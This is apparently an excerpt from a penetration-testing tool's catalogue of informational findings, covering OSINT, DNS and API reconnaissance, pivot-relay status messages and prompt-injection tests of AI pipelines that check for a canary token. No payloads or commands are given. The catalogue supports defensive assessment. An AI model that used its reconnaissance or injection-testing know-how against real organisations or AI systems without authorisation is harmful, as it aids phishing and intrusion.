MITRE ATT&CK: T1195 (Initial Access)
NIST 800-53: SA-12, SR-3
PCI DSS 4: 12.8.1, 12.8.4
INFO OSIFT-037 — Discovery: Email Address
Description: One or more email addresses associated with the target organisation or its employees were harvested during OSINT enumeration using tools such as theHarvester, Hunter.io, or Phonebook.cz. Exposed email addresses directly enable phishing campaigns, password spray attacks against cloud identity platforms (M365, Google Workspace), and account enumeration. Even a single valid address provides an attacker with a confirmed naming convention from which to infer additional accounts.
Impact: Harvested email addresses enable targeted phishing, credential stuffing against SSO portals, and username enumeration. Email naming conventions reveal the format used for all employees, allowing generation of valid email addresses for the entire organization.
Remediation: Educate employees on minimising professional email exposure in public contexts. Implement robust email security controls including SPF, DKIM, and DMARC at p=reject. Enable anti-phishing and impersonation protection in the email gateway. Monitor for credential spray activity against cloud identity providers.
Effort: Moderate
CVSS Vector: N/A
MITRE ATT&CK: T1598.003 (Reconnaissance), T1589.002 (Reconnaissance)
NIST 800-53: PM-5, PL-4, RA-2
PCI DSS 4: 12.5.1
INFO OSIFT-038 — Discovery: IP Address
Description: One or more IP addresses were mapped to the target organisation's assets through DNS resolution, certificate transparency log analysis, ASN enumeration, WHOIS records, or OSINT sources. Confirmed IP addresses expand the known attack surface beyond the primary domain, enabling direct host scanning, service fingerprinting, and identification of infrastructure not protected by a CDN or application-layer proxy.
Remediation: Reconcile all discovered IP addresses against the authorised asset inventory. Ensure cloud-hosted instances are protected by security groups or firewall rules limiting unnecessary public exposure. Review whether any discovered IPs host unintended or forgotten services.
Effort: Low
CVSS Vector: N/A
MITRE ATT&CK: T1590.005 (Reconnaissance)
NIST 800-53: CM-8, RA-2
PCI DSS 4: 12.5.1
INFO OSIFT-040 — Phone Number Pattern Spotted
Description: A pattern matching a telephone number (e.g., +1-555-867-5309, (800) 123-4567) was identified in publicly accessible web content associated with the target domain. Exposed phone numbers can be used to conduct vishing (voice phishing) attacks impersonating employees or IT support, to enumerate internal organisational structure, or to harvest contact information for social engineering campaigns targeting staff.
Impact: Discovered phone numbers enable vishing (voice phishing) and SMS-based social engineering attacks. Combined with employee names and roles from other OSINT sources, phone numbers allow targeted pretexting calls that bypass email security controls entirely.
Remediation: Review whether the exposed telephone number serves a legitimate public-facing business purpose (e.g., a sales or support line). For internal or employee numbers, remove them from public web properties. Conduct security awareness training focused on social engineering and vishing recognition.
Effort: Low
CVSS Vector: N/A
MITRE ATT&CK: T1589.001 (Reconnaissance)
NIST 800-53: PM-5, PL-4, SC-28
PCI DSS 4: 12.5.1
INFO OSIFT-043 — DNS: DMARC record found
Description: A DMARC (Domain-based Message Authentication, Reporting and Conformance) record was found for the domain. DMARC instructs receiving mail servers on how to handle messages that fail SPF and DKIM validation checks.
Impact: A properly configured DMARC record instructs receiving mail servers to reject or quarantine spoofed emails. While this is a positive security control, the DMARC policy details reveal the organization's email authentication architecture and reporting endpoints, which inform phishing campaign design.
Remediation: Ensure DMARC policy is set to 'reject' (p=reject) for maximum protection against email spoofing. Configure aggregate and forensic reporting endpoints to monitor policy violations.
Effort: Easy
INFO OSIFT-045 — nslookup forward lookup: {record_summary}
Description: Forward DNS lookup enumeration was performed, revealing mail exchange (MX), name server (NS), text (TXT), and other DNS records for the domain.
Impact: DNS record enumeration reveals mail servers, nameservers, SPF policies, and other infrastructure details that map the organization's digital footprint. An attacker uses this data to identify email providers, hosting relationships, and security mechanisms that inform subsequent attack phases.
Remediation: Review DNS records for unnecessary information disclosure. Ensure SPF, DKIM, and DMARC are properly configured. Consider restricting zone transfers and minimizing publicly exposed DNS records.
Effort: Easy
MITRE ATT&CK: T1596.001 (Reconnaissance)
INFO OSIFT-047 — DNS: A Record
Description: A record maps a domain to an IPv4 address, revealing the IP infrastructure behind a hostname.
Impact: Exposing A records allows attackers to identify hosting providers, colocated services, and network topology for targeted attacks.
Remediation: Minimize unnecessary A records. Use CDN or proxy services to obscure origin server IPs where appropriate.
Effort: Easy
MITRE ATT&CK: T1596.001 (Reconnaissance)
NIST 800-53: SC-20
INFO OSIFT-048 — DNS: AAAA Record
Description: AAAA record maps a domain to an IPv6 address, revealing dual-stack infrastructure.
Impact: IPv6 records can expose additional attack surface on hosts that may have different firewall rules or monitoring than their IPv4 counterparts.
Remediation: Ensure IPv6 hosts have equivalent security controls to IPv4. Remove AAAA records for services not intentionally dual-stacked.
Effort: Easy
MITRE ATT&CK: T1596.001 (Reconnaissance)
NIST 800-53: SC-20
INFO OSIFT-049 — DNS: MX Record
Description: MX record identifies the mail servers responsible for accepting email for the domain.
Impact: Attackers use MX records to identify email infrastructure, target mail servers for exploitation, and craft phishing campaigns that mimic legitimate mail routing.
Remediation: Ensure MX records point only to authorized mail servers. Implement SPF, DKIM, and DMARC. Remove MX records for domains that do not send or receive email.
Effort: Easy
MITRE ATT&CK: T1596.001 (Reconnaissance)
NIST 800-53: SC-20
INFO OSIFT-050 — DNS: NS Record
Description: NS record identifies the authoritative nameservers for the domain.
Impact: Knowledge of nameservers enables DNS cache poisoning attempts, zone transfer attacks, and helps map the organization's DNS infrastructure and hosting relationships.
Remediation: Use reputable DNS providers with DNSSEC support. Restrict zone transfers to authorized secondaries. Monitor for unauthorized NS record changes.
Effort: Easy
MITRE ATT&CK: T1596.001 (Reconnaissance)
NIST 800-53: SC-20
INFO OSIFT-051 — DNS: TXT Record
Description: TXT records contain arbitrary text data including SPF policies, DKIM keys, domain verification tokens, and service configuration.
Impact: TXT records can leak internal service configurations, reveal third-party integrations (Google Workspace, Microsoft 365, etc.), and expose verification tokens that may enable service takeover.
Remediation: Audit TXT records regularly. Remove obsolete verification tokens. Ensure SPF records use restrictive policies (-all). Implement DKIM and DMARC.
Effort: Easy
MITRE ATT&CK: T1596.001 (Reconnaissance)
NIST 800-53: SC-20
INFO OSIFT-052 — DNS: SOA Record
Description: SOA record contains the primary nameserver, responsible party email, and zone serial/refresh parameters.
Impact: SOA records reveal the primary DNS administrator's contact, zone update frequency, and infrastructure details useful for social engineering and timing attacks around zone refreshes.
Remediation: Ensure SOA contact email does not expose internal personnel. Use reasonable TTL and refresh values.
Effort: Easy
MITRE ATT&CK: T1596.001 (Reconnaissance)
NIST 800-53: SC-20
INFO OSIFT-053 — DNS: CNAME Record
Description: CNAME record creates an alias from one domain to another canonical name.
Impact: CNAME records can reveal internal naming conventions, third-party service dependencies, and may be vulnerable to subdomain takeover if the canonical target is decommissioned.
Remediation: Regularly audit CNAME records for dangling references. Remove CNAMEs pointing to decommissioned services to prevent subdomain takeover.
Effort: Easy
MITRE ATT&CK: T1596.001 (Reconnaissance)
NIST 800-53: SC-20
INFO OSIFT-058 — GitHub Actions: Audit Complete — No Issues
Description: gato completed a security audit of the target organization's GitHub Actions workflows and found no injection vulnerabilities, secret exfiltration paths, excessive permissions, or self-hosted runner risks.
Impact: No security issues were identified in the GitHub Actions configuration. This is a positive finding indicating that CI/CD workflows follow security best practices for the areas audited.
Remediation: No remediation required. Continue to audit workflows periodically, especially when new workflows are added or existing ones are modified.
Effort: Easy
NIST 800-53: SA-11
INFO OSIFT-061 — CDN/WAF Bypass: No Origin Exposure
Description: hakoriginfinder scanned for the origin server IP behind the CDN/WAF and found no exposed origin IPs. The CDN/WAF appears to properly protect the origin server from direct access.
Impact: The CDN/WAF is correctly protecting the origin server. No direct access paths were discovered during the scan.
Remediation: No remediation required. Continue to ensure origin server firewall restricts access to CDN edge IPs only.
Effort: Easy
NIST 800-53: SC-7
INFO OSIFT-062 — Historical Endpoints Discovered
Description: waymore discovered historical endpoints for the target domain across multiple web archive sources (Wayback Machine, Common Crawl, VirusTotal, URLScan.io, AlienVault OTX). These URLs represent the domain's historical web presence and may include endpoints that are no longer publicly linked but still accessible.
Impact: Historical endpoints can reveal previously accessible admin panels, configuration pages, backup files, development endpoints, and API routes. Even if removed from the current site, these endpoints may still respond to requests. Archived URLs also reveal the application's evolution, naming conventions, and internal structure.
Remediation: Review discovered endpoints and remove or restrict access to any that should not be publicly accessible. Implement proper authentication and authorization controls on all endpoints.
Effort: Moderate
CVSS Vector: N/A
OWASP API: API9:2023 Improper Inventory Management
MITRE ATT&CK: T1596.005 (Reconnaissance)
NIST 800-53: CM-8
INFO OSIFT-066 — Document Metadata: Software Version Disclosed
Description: exiftool extracted the software name and version from the Creator or Producer metadata field of a publicly accessible document. This reveals the specific applications used to create or modify the document, including version numbers that may be checked against known vulnerability databases.
Impact: Software version disclosure enables targeted vulnerability research. An attacker who knows the exact version of Microsoft Office, Adobe Acrobat, or other document creation tools can search for version-specific CVEs, craft targeted exploits, and identify outdated software that may be vulnerable to known attacks.
Remediation: Strip metadata from documents before publishing. This is informational and does not require urgent remediation.
Effort: Easy
CVSS Vector: N/A
MITRE ATT&CK: T1592.004 (Reconnaissance)
NIST 800-53: CM-8
INFO OSIFT-068 — Document Metadata: Email Address Leaked
Description: exiftool extracted an email address from the metadata of a publicly accessible document. This email may belong to the document's author, reviewer, or the organization's document management system.
Impact: Email addresses extracted from document metadata can be used for targeted phishing, social engineering, and email-based attacks. They may also reveal internal email naming conventions that allow enumeration of additional email addresses across the organization.
Remediation: Strip metadata from documents before publishing. This is informational — email addresses may already be publicly available through other channels.
Effort: Easy
CVSS Vector: N/A
MITRE ATT&CK: T1589.002 (Reconnaissance)
NIST 800-53: SI-12
INFO OSIFT-070 — Document Metadata: Audit Summary
Description: exiftool completed a metadata audit of publicly accessible documents found during reconnaissance. This finding summarizes the total number of documents analyzed, metadata fields extracted, and categories of information discovered across all scanned documents.
Impact: This is a summary finding providing an overview of the document metadata analysis. Individual findings for specific metadata disclosures (usernames, software versions, file paths, GPS data) are reported separately.
Remediation: Review individual document metadata findings for specific remediation actions. Implement organization-wide metadata stripping policies for all publicly published documents.
Effort: Easy
NIST 800-53: SI-12
INFO PHX-036 — Subdomain Enumeration – Internal Subdomains Discovered
Remediation: Review discovered subdomains for unintended exposure. Decommission unused subdomains. Ensure internal services are not reachable from the public internet.
Effort: Moderate
MITRE ATT&CK: T1590.001 (Reconnaissance)
NIST 800-53: CM-8
INFO PHX-106 — WordPress CMS Plugin Detected
Remediation: Keep all WordPress plugins updated to their latest release. Remove readme.txt files from plugin directories on production servers. Uninstall unused or unmaintained plugins to reduce attack surface.
Effort: Low
OWASP Web: A06:2021 – Vulnerable and Outdated Components
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-8, SI-2
PCI DSS 4: 6.3.2
INFO PHX-117 — Password Reset Endpoint Exposed
Remediation: Ensure the password reset flow uses CSPRNG-generated single-use tokens of at least 128 bits entropy with a short expiry (15–30 minutes). Enforce rate limiting, invalidate tokens immediately upon use, and avoid username enumeration through differential responses.
Effort: Moderate
OWASP Web: A07:2021 – Identification and Authentication Failures
MITRE ATT&CK: T1078 (Initial Access), T1110 (Credential Access)
NIST 800-53: IA-5, AC-2
PCI DSS 4: 8.3.6
INFO PHX-131 — Recon: Application Form / Login Page Identified
Remediation: Informational: ensure identified login endpoints implement rate limiting, CSRF protection, account lockout, and non-differentiating error messages. For forms, ensure CSRF tokens and server-side input validation are in place. This finding seeds further targeted testing.
Effort: Low
OWASP Web: A07:2021 – Identification and Authentication Failures
MITRE ATT&CK: T1078 (Initial Access), T1589 (Reconnaissance)
NIST 800-53: IA-2, AC-2
PCI DSS 4: 8.2.1
INFO PHX-132 — Recon: CMS, Virtual Host, or Technology Identified
Remediation: Keep all identified CMS and framework versions updated and monitor vendor security advisories. Suppress version information from HTTP headers and page source. Audit all virtual hosts discovered to ensure they maintain equivalent security controls to the primary application.
Effort: Low
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance), T1595.002 (Reconnaissance)
NIST 800-53: CM-8, SI-2, CM-7
PCI DSS 4: 6.3.3
INFO PHX-133 — Recon: Interesting Endpoint or Path Discovered
Remediation: Review all discovered endpoints and paths to verify they are intentional, authenticated, and not exposing unintended functionality. Apply consistent security headers across all endpoints. Restrict file upload endpoints with strict validation, remove unused paths, and ensure wildcard configurations are scoped appropriately.
Effort: Low
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1595.003 (Reconnaissance), T1083 (Discovery)
NIST 800-53: CM-8, CM-7, AC-3
PCI DSS 4: 6.5.1
INFO PHX-134 — Recon: JWT Token or Hidden Parameter Identified
Remediation: Informational: validate all identified JWTs for algorithm, signature, expiry, and issuer. Investigate hidden parameters for access control bypass potential and apply the same validation and authorisation controls as documented parameters. Refer to specific JWT or access control findings for detailed remediation.
Effort: Low
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1550.001 (Defense Evasion), T1589 (Reconnaissance)
NIST 800-53: IA-5, SI-10
PCI DSS 4: 8.3.1
INFO PHX-171 — SSL Certificate Issuer Transparency
Remediation: Informational: review the certificate issuer chain to confirm only trusted, internal or public CAs are authorised to issue certificates for this domain. Enrol the domain in Certificate Transparency monitoring (e.g., crt.sh alerts) to detect unauthorised issuance. Verify serial number entropy meets CABF Baseline Requirements (>= 64 bits).
Effort: Low
MITRE ATT&CK: T1596.003 (Reconnaissance)
NIST 800-53: SC-17
PCI DSS 4: 4.2.1
INFO PHX-177 — OSINT IP Address Mapping
Remediation: Maintain an accurate asset inventory of all public-facing IP addresses and ASN blocks. Review cloud provider configurations to avoid unnecessarily exposing internal IP ranges. Use private IP addressing and NAT/PAT for internal services wherever possible.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
MITRE ATT&CK: T1590.005 (Reconnaissance)
NIST 800-53: CM-8, RA-2
PCI DSS 4: 12.5.1
INFO PHX-191 — Recon: Web Application or API Identified
Remediation: Informational finding — no immediate remediation required. Use this discovery to ensure the identified application is included in the asset inventory, kept patched, and covered by periodic security assessments. Replace default web server pages with custom content and remove default applications that are not in use.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
MITRE ATT&CK: T1590 (Reconnaissance)
NIST 800-53: CM-8, RA-2
PCI DSS 4: 12.5.1
INFO PHX-193 — Hostname / DNS Reverse Lookup Information
Remediation: Informational finding — no immediate remediation required. Ensure discovered hostnames and subdomains are included in the asset inventory and covered by patch management and security scanning. Decommission or remove DNS records for unused or orphaned subdomains to prevent subdomain takeover.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
MITRE ATT&CK: T1590.001 (Reconnaissance)
NIST 800-53: CM-8, RA-2
PCI DSS 4: 12.5.1
INFO PI-008 — AI Injection Resilient — {category} via {strategy}
Description: The AI pipeline did not follow the injected instruction. The canary token was absent from both the immediate response and any stored results. The model completed its primary task without executing the embedded adversarial payload.
Impact: Informational — no security impact. The pipeline demonstrated resilience against this specific injection vector, category, and delivery strategy combination. This does not guarantee resilience against other payload variants, encoding schemes, or multi-turn attacks.
Remediation: No remediation required. Continue monitoring for new injection techniques and re-test periodically as the AI model or pipeline is updated.
INFO PI-009 — AI Injection Dry Run — {category} via {strategy}
Description: A test file containing an injected adversarial payload was generated but not submitted to a target AI pipeline (--dry-run mode). The file is available in the test_files output directory for manual inspection or subsequent submission.
Impact: Informational — no security testing was performed. The generated file can be used for manual testing, integration into CI/CD security pipelines, or submitted to AI endpoints outside of pAIn's automated workflow.
Remediation: No remediation required — this is an informational record of test file generation.
INFO PIVOT-001 — Relay Established Successfully
Description: A pivot relay session was established between pivot-client and pivot-agent. Authentication, TLS handshake, and network profile activation all succeeded. Scanner traffic can now reach the target CIDR.
INFO PIVOT-002 — Authentication Failed — Invalid HMAC Token
Description: The AUTH message sent by a connecting client contained an HMAC-SHA256 digest that did not match the expected value for the provided nonce and shared secret. The connection was rejected.
INFO PIVOT-003 — Replay Attack Detected — Nonce Already Used
Description: An AUTH message was received with a nonce that has been used in a previous authentication attempt within the current session. This is indicative of a replay attack — a captured AUTH message being retransmitted.
INFO PIVOT-004 — TLS Handshake Failed
Description: The TLS handshake between pivot-client and pivot-agent failed. Possible causes: certificate not trusted by the client's CA bundle, CN/SAN mismatch, expired certificate, or unsupported TLS version.
INFO PIVOT-005 — Unauthorised Connection Attempt — IP Not in Allowlist
Description: A connection was received from a source IP that is not present in security.allowed_peers. The connection was rejected after TLS handshake but before authentication, minimising information leakage.
INFO PIVOT-006 — iptables Rule Applied Successfully
Description: iptables FORWARD and MASQUERADE rules were successfully installed on the relay device for a network profile. IP forwarding is active. Scanner traffic will be NATted to the relay's LAN IP.
INFO PIVOT-007 — iptables Rule Cleanup Completed
Description: All iptables rules installed for a relay session were removed successfully. ip_forward was reset to its pre-session value if no other sessions are active. Relay state is fully clean.
INFO PIVOT-008 — Relay Chain Established
Description: A multi-hop relay chain was successfully established. The current agent spawned an internal chain_connector (pivot-client) to a downstream relay and received network profile activation confirmation. All intermediate routes are active.
INFO PIVOT-009 — Connection to Upstream Relay Failed
Description: A chained relay attempted to connect to its configured upstream relay (pivot-agent at upstream.host) but failed. The chain is broken and the target network is unreachable.
INFO PIVOT-010 — Certificate Validation Failed — Agent Certificate Not Trusted
Description: The pivot-client rejected the agent's TLS certificate because it could not be validated against the configured CA bundle. This may indicate a certificate mismatch or a potential MitM attack.
INFO PIVOT-011 — mTLS Client Certificate Required
Description: The agent is configured with require_client_cert: true (mutual TLS). Clients must present a valid certificate signed by the agent's CA in addition to HMAC token authentication.
INFO PIVOT-012 — HMAC Verification Failed — Token Mismatch
Description: The HMAC-SHA256 digest computed from the client's nonce and the stored shared secret did not match the digest provided in the AUTH message. Authentication was denied. Constant-time comparison was used to prevent timing oracle attacks.
INFO PIVOT-013 — iptables Rule Application Failed
Description: The agent could not install required iptables FORWARD or MASQUERADE rules. This prevents traffic forwarding to the target network. The relay session is non-functional.
INFO PIVOT-014 — Route Installation Failed on Scanner
Description: pivot-client failed to install the OS route for the target CIDR on the scanner machine. The scanner cannot reach the target network even though the relay session is active.
INFO PIVOT-015 — Session Expired — Heartbeat Timeout
Description: The relay session was closed because no HEARTBEAT message was received from the client within the configured heartbeat_timeout period. The client may have crashed or the network path was interrupted.
INFO PIVOT-016 — Maximum Concurrent Sessions Reached
Description: A new connection was rejected because the agent has reached session.max_sessions. No additional relay clients can connect until an existing session is released.
INFO PIVOT-017 — Protocol Message Too Large
Description: A received message exceeded the maximum permitted payload size (1 MB). The connection was closed. This may indicate a malformed client, a bug, or a potential memory exhaustion attempt.
INFO PIVOT-018 — Malformed Protocol Message Received
Description: A message was received that could not be parsed as valid JSON, was missing the required 'type' field, or had a zero-length payload. The connection was closed.
INFO PIVOT-019 — sysctl ip_forward Activation Failed
Description: The agent could not set net.ipv4.ip_forward=1 via sysctl. Without IP forwarding enabled, traffic cannot be relayed between the VPN and LAN interfaces.
INFO PIVOT-020 — Clean Session Deactivation Completed
Description: The pivot-client sent a DEACTIVATE message and the agent responded with DEACTIVATE_RESPONSE. iptables rules, kernel routes, and ip_forward were all cleaned up. Session state is fully removed.
INFO SI-001 — API Endpoint Discovered (dirsearch)
Description: Siphon discovered an API endpoint via directory and path brute-forcing using dirsearch. The endpoint was not necessarily documented in any provided API specification and was identified by receiving a non-404 HTTP response. Discovery of undocumented or unintended endpoints increases the attack surface available to an adversary. This finding is informational and represents an enumeration result rather than a confirmed vulnerability.
Remediation: Review all discovered endpoints and confirm each is intentional and documented. Remove or disable any endpoints that are no longer in use. Ensure API gateway or WAF rules restrict access to known-good paths. Maintain an up-to-date API inventory.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP API: API9:2023 Improper Inventory Management
INFO SI-002 — API Endpoint Discovered (Feroxbuster)
Description: Siphon discovered an API endpoint via recursive content discovery using Feroxbuster. The endpoint responded with a non-404 status code during automated path enumeration. Feroxbuster performs recursive brute-forcing and can uncover deeply nested or legacy paths not surfaced by shallow scanners. Discovery of additional endpoints widens the attack surface and may expose functionality not intended for public access.
Remediation: Audit all live endpoints and compare against the official API inventory. Decommission endpoints that are no longer needed. Apply allowlist-based routing at the API gateway layer so only documented paths are reachable. Ensure staging or debug paths are not deployed to production.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP API: API9:2023 Improper Inventory Management
INFO SI-003 — API Endpoint Discovered (FFUF)
Description: Siphon discovered an API endpoint using FFUF (Fuzz Faster U Fool), a high-speed web fuzzer. The endpoint returned a response code indicating its existence during wordlist-based path fuzzing. FFUF is commonly used to find hidden API routes, versioned paths, and alternative content types. Each discovered endpoint is a potential pivot point for further vulnerability testing.
Remediation: Compare discovered endpoints against the authoritative API specification and remove any that are undocumented or deprecated. Implement strict path-based ACLs at the API gateway. Disable directory listing and ensure all routes are explicitly registered in the application router.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP API: API9:2023 Improper Inventory Management
INFO SI-004 — API Endpoint Discovered (Kiterunner)
Description: Siphon discovered an API endpoint using Kiterunner, a tool purpose-built for API route discovery that replays real-world API route signatures. Unlike generic directory brute-forcers, Kiterunner uses curated wordlists derived from thousands of real APIs and supports context-aware request construction. Endpoints found via Kiterunner often represent API-specific paths that generic scanners miss, including internal or administrative routes.
Remediation: Review all Kiterunner-discovered endpoints against the official API documentation. Ensure the API gateway enforces an allowlist of permitted routes. Remove undocumented or decommissioned routes from the application. Implement authentication requirements on all non-public endpoints.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP API: API9:2023 Improper Inventory Management
INFO SI-005 — API Framework Identified
Description: Siphon successfully fingerprinted the API framework in use (e.g., FastAPI, Django REST Framework, Spring Boot, Express, Laravel) through analysis of HTTP response headers, error page content, URL patterns, and response body signatures. Knowing the exact framework and version enables targeted exploitation of known CVEs and framework-specific vulnerabilities. This information materially aids an attacker in scoping follow-on attacks.
Remediation: Suppress framework-identifying headers such as X-Powered-By, Server, and custom framework headers. Customize error pages to avoid leaking framework version information. Keep the identified framework patched to the latest stable release. Apply virtual patching at the WAF layer for any known CVEs in the identified version.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API9:2023 Improper Inventory Management
INFO SI-006 — Undocumented API Endpoint Detected
Description: Siphon detected a live API endpoint that is not present in the provided API specification (OpenAPI/Swagger). Undocumented endpoints often represent legacy functionality, shadow APIs, or development artifacts that were never formally decommissioned. These endpoints are unlikely to have undergone the same security review as documented ones and may lack proper authentication, rate limiting, or input validation. Their existence represents a governance gap in the API lifecycle.
Remediation: Perform a full audit to determine the purpose of the undocumented endpoint. If it is no longer needed, remove it immediately. If it serves a legitimate function, add it to the official API specification and subject it to the standard security review process. Implement CI/CD checks that fail builds when undocumented routes are detected.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP API: API9:2023 Improper Inventory Management
INFO SI-007 — Undocumented HTTP Method Accepted
Description: Siphon discovered that a documented API endpoint accepts an HTTP method that is not listed in the API specification. For example, a GET-only endpoint also accepts PUT or DELETE. This may indicate that the server-side framework auto-handles methods not explicitly coded, or that an older version of the endpoint accepted additional methods. Accepting undocumented methods can lead to unintended data modification or deletion.
Remediation: Configure the application and API gateway to explicitly reject HTTP methods not defined in the API specification for each endpoint. Return 405 Method Not Allowed for any method not in the allowlist. Review the endpoint's handler logic for each accepted method and ensure proper authorization is applied.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP API: API9:2023 Improper Inventory Management
INFO SI-008 — Undocumented API Parameter Accepted
Description: Siphon detected that an API endpoint accepts a query or body parameter that is not declared in the API specification. The server processed the parameter without returning an error, suggesting the backend consumes it silently. Undocumented parameters may enable hidden functionality, alter application behavior, or bypass intended business logic. This is often a precursor to mass assignment or parameter pollution attacks.
Remediation: Implement strict input validation that rejects any parameter not explicitly defined in the API schema. Use allowlist-based parameter validation at the API gateway or middleware layer. Remove or document any legacy parameters still consumed by the backend. Review all undocumented parameters for security implications.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP API: API9:2023 Improper Inventory Management
INFO SI-009 — Undocumented Parameter Accepted
Description: Siphon detected that an API endpoint silently accepts an extra parameter that produces a changed or differentiated response compared to the baseline. This indicates the application is consuming the parameter on the server side despite it not being part of the documented API contract. Extra parameters accepted silently can indicate a mass assignment risk, hidden feature flags, or undocumented administrative controls.
Remediation: Apply strict schema validation on all incoming request parameters. Reject any parameter not included in the endpoint's schema definition. Audit the codebase for any parameters that are processed but not documented. Use an API design-first approach to ensure the specification is always the source of truth.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP API: API9:2023 Improper Inventory Management
INFO SI-010 — Endpoint Not in Scope File
Description: Siphon discovered an endpoint that is not listed in the provided scope file. This is an informational flag indicating that testing of this endpoint may be outside the authorized engagement boundary, or that the API inventory is incomplete. Out-of-scope endpoints that are still reachable from the target host represent an inventory management gap and a potential attack vector.
Remediation: Reconcile the scope file with the actual live API surface. Update the scope definition to explicitly include or exclude each discovered endpoint. Ensure API documentation and scope definitions are kept in sync through a formal API inventory management process.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP API: API9:2023 Improper Inventory Management
INFO SI-011 — HTTP Method Not in Scope File
Description: Siphon detected an HTTP method being accepted by a scoped endpoint that is not listed in the scope file for that endpoint. This may indicate the scope definition is incomplete or that the server accepts additional methods beyond those intended for testing. Methods not in scope that are live may be tested inadvertently or may represent unreviewed attack surface.
Remediation: Update the scope file to accurately reflect all accepted HTTP methods per endpoint. Enforce method restrictions at the server level so only documented methods are accepted. Review the authorization logic applied to each accepted method.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP API: API9:2023 Improper Inventory Management
INFO SI-012 — GraphQL Subscription Endpoint Detected
Description: Siphon detected a GraphQL subscription endpoint, which enables real-time data push over WebSocket or Server-Sent Events. Subscription endpoints can be leveraged for data exfiltration by subscribing to sensitive data streams, may bypass rate limiting controls applied only to query/mutation paths, and can expose the server to denial-of-service through unlimited subscription connections. Their existence should be noted and each subscription authorization model reviewed.
Remediation: Ensure all GraphQL subscription resolvers enforce the same authentication and authorization checks as query and mutation resolvers. Implement rate limiting and connection count limits on the subscription endpoint. Audit subscription data streams to ensure they do not expose data the subscriber is not authorized to receive.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP API: API9:2023 Improper Inventory Management
INFO SI-013 — JWT Contains jku Header
Description: Siphon detected a JWT token containing a jku (JWK Set URL) header parameter. The jku header allows the token to specify an external URL from which the server should fetch the public key used to verify the token signature. While this finding is informational (the server may pin allowed jku URLs), the presence of this header indicates potential for JWKS spoofing attacks if the server does not validate the jku URL against an allowlist. This finding is escalated to SI-052 (CRITICAL) if the server was found to accept arbitrary jku values.
Remediation: If jku is required, implement strict allowlist validation of the jku URL on the server side. Reject any token whose jku value is not in the approved list. Prefer embedding the public key directly in server configuration rather than fetching it dynamically. Log and alert on any jku value that does not match the expected URL.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
INFO SI-015 — File Upload Endpoint Detected
Description: Siphon identified an API endpoint that accepts file uploads (multipart/form-data or binary body). File upload endpoints are high-value targets because they can be leveraged for unrestricted file upload attacks, path traversal, server-side code execution, and storage exhaustion. The presence of this endpoint is noted for targeted manual testing of upload restrictions, file type validation, and storage path controls.
Remediation: Enforce strict file type validation using magic bytes rather than extension or MIME type alone. Store uploaded files outside the web root in a sandboxed directory. Rename uploaded files to random identifiers. Scan uploaded files with antivirus/antimalware before storing. Implement size limits and rate limiting on upload endpoints. Require authentication for all upload functionality.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP Web: A04:2021 Insecure Design
OWASP API: API9:2023 Improper Inventory Management
MITRE ATT&CK: T1595.003 (Reconnaissance), T1083 (Discovery)
NIST 800-53: CM-8, CM-7, AC-3
PCI DSS 4: 6.5.1
INFO SI-016 — Potential Undocumented Upload Endpoint Discovered
Description: Siphon discovered a potential file upload endpoint that is not listed in the API specification. The endpoint was identified through path pattern matching (e.g., paths containing 'upload', 'import', 'attach', 'file') or by observing multipart/form-data handling. Undocumented upload endpoints often bypass the security controls applied to documented ones and may represent legacy functionality with weaker validation. This endpoint warrants immediate manual review.
Remediation: Determine the purpose of the undocumented upload endpoint. If it is no longer needed, remove it. If legitimate, add it to the API specification and subject it to full security review including file type validation, authentication enforcement, and storage security. Implement monitoring for upload activity on this endpoint.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP Web: A04:2021 Insecure Design
OWASP API: API9:2023 Improper Inventory Management
INFO SI-115 — CORS Wildcard (*) Detected
